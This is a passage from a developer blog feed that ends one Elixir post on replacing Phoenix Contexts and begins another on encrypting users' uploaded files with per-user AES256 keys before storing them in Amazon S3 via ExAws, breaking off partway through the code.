&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# exposing what the default should be.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_things_that_are_relevant_to_customer_in_month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Date&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_today&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_things_that_are_relevant_to_customer_in_month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_things_that_are_relevant_to_customer_in_month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Finders.ListThingsThatAreRelevantToCustomerInMonth&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Please note that the proposed software design for replacing your Phoenix Contexts with services, finders, and repositories might not work for you or your project. My golden rule when it comes to software design is &quot;Keep it super simple (KISS)&quot;. So, take what helps and ignore what doesn&apos;t as long as you stay vigilant about your code organization.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/phoenix-contexts"/>
    <id>https://peterullrich.com/phoenix-contexts</id>
    <title>Kill your Phoenix Context</title>
    <updated>2023-06-18T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, welcome back to another blog post! :)&lt;/p&gt;
&lt;p&gt;I&apos;m sorry for the delay since my last blog post, but I&apos;ve been busy with creating my video course &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;Build an MVP with Elixir&lt;/a&gt; and speaking at ElixirConf EU in Lisbon.&lt;/p&gt;
&lt;p&gt;But now I&apos;m back and will post new blog posts every two weeks again. So, before we dive into today&apos;s blog post, first the ceremonial dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;I don&amp;#39;t have a dad body.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;I have a father figure.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways! This post is about how to encrypt and upload sensitive user files to Amazon&apos;s S3, so let&apos;s dive right in!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;When you ask users to upload their files to your service, you will probably store them in a storage service like S3. S3 and others are cheaper alternatives to storing the files in your database. They also make it easier to link and show the files in e.g. your UI.&lt;/p&gt;
&lt;p&gt;However, if your users upload sensitive files, it&apos;s paramount to store them in a way that no other than yourself and the user can access them. This is where file encryption comes in. So, whenever you save a file in e.g. S3, you only store an encrypted version of the file. This way, neither Amazon nor any attacker who gains access to your S3 bucket can read the files. Sounds great, no?&lt;/p&gt;
&lt;p&gt;But how do set up the encryption, decryption, upload, and download functionality in Elixir and Phoenix LiveView? This blog post answers how :)&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;The following demo project is quite extensive, but here&apos;s what it does in a nutshell:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#for-uploading-files&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;for-uploading-files&quot;&gt;&lt;/a&gt;For uploading files&lt;/h3&gt;
&lt;p&gt;The demo project uses a LiveView to allow users to upload their passport as PDF, PNG, or JPG file. After an upload completes, it encrypts the file using the AES256 algorithm with a key that&apos;s &lt;strong&gt;unique for each user&lt;/strong&gt;. It then uploads the encrypted file to S3 using the &lt;a href=&quot;https://hexdocs.pm/ex_aws/ExAws.html&quot;&gt;ExAws&lt;/a&gt; library.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#for-downloading-files&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;for-downloading-files&quot;&gt;&lt;/a&gt;For downloading files&lt;/h3&gt;
&lt;p&gt;In the same LiveView, the demo project lists all files of the current user. When a user clicks on a file, the LiveView shows either an &lt;code&gt;img&lt;/code&gt; or &lt;code&gt;embed&lt;/code&gt; HTML tag based on whether the file is an image or a PDF. The new HTML tag fetches the image from a Phoenix Controller, which returns the decrypted file after downloading it from S3.&lt;/p&gt;
&lt;p&gt;Let&apos;s write some code!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-config&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-config&quot;&gt;&lt;/a&gt;The Config&lt;/h2&gt;
&lt;p&gt;We will use the &lt;code&gt;ExAws&lt;/code&gt; library to upload and download the files to S3. Therefore, we need to add the following dependencies to our project:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 2.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws_s3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 2.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:hackney&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 1.9&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:sweet_xml&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.6&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we need to add the runtime configuration for our S3 Bucket. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# runtime.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ex_aws&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;access_key_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_ACCESS_KEY_ID&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:instance_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;secret_access_key: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_SECRET_ACCESS_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:instance_role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;aws_file_bucket: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_FILE_BUCKET&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- The name of your bucket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;aws_file_bucket_region: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;AWS_FILE_BUCKET_REGION&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- The region of your bucket, e.g. &quot;eu-west-3&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s the configuration! If you start your server with &lt;code&gt;iex -S mix phx.server&lt;/code&gt;, you should be able to make calls to your S3 bucket using ExAws. You can test this by running:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bucket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;region&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws.S3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_objects&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;region: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#why-unique-keys&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;why-unique-keys&quot;&gt;&lt;/a&gt;Why Unique Keys&lt;/h2&gt;
&lt;p&gt;As mentioned before, we want to encrypt every file with an encryption key that is unique per user. You could also encrypt all files with the same encryption key, but then you put all eggs in one basket. If an attacker gains access to your encryption key, they can decrypt and view &lt;strong&gt;all&lt;/strong&gt; user files. That&apos;s not ideal.&lt;/p&gt;
&lt;p&gt;If we decrypt every file with an encryption key that is unique to a user, an attacker would need to extract all these encryption keys instead of only a single key, which diversifies the risk a bit. There are two other benefits though:&lt;/p&gt;
&lt;p&gt;First, we store the encryption keys in our database and never on our servers as e.g. environment variables. So, even if an attacker gains access to our servers, they won&apos;t be able to steal these keys since keys are kept only temporarily in the application memory.&lt;/p&gt;
&lt;p&gt;Second, if we introduce a bug in our application that allows users to view the files of other users, they won&apos;t be able to decrypt them if we always use the &lt;code&gt;current_user&lt;/code&gt; for decryption. If we&apos;d encrypt all files with the same key, we wouldn&apos;t have this security check because we&apos;d decrypt the file with the same key, regardless of who&apos;s the currently logged-in user. But if we use the encryption key of the current user for decrypting the file, the result would be gibberish or worst-case, throw an error.&lt;/p&gt;
&lt;p&gt;The only caveat of this implementation is that if we change the owner of a file, we need to download and decrypt the file with the old owner&apos;s encryption key, and then encrypt and upload the file again with key of the new owner. That&apos;s a bit more hassle than simply updating the &lt;code&gt;file.owner_id&lt;/code&gt; field in the database, but it&apos;s not that complicated either.&lt;/p&gt;
&lt;p&gt;So, given all these benefits of having a unique key per user, let&apos;s start implementing it!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-user-schema&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-user-schema&quot;&gt;&lt;/a&gt;The User Schema&lt;/h2&gt;
&lt;p&gt;First, let&apos;s look at the schemas. This is the &lt;code&gt;User&lt;/code&gt;-schema:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Accounts.User&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;users&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;file_user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add_encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:encryption_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
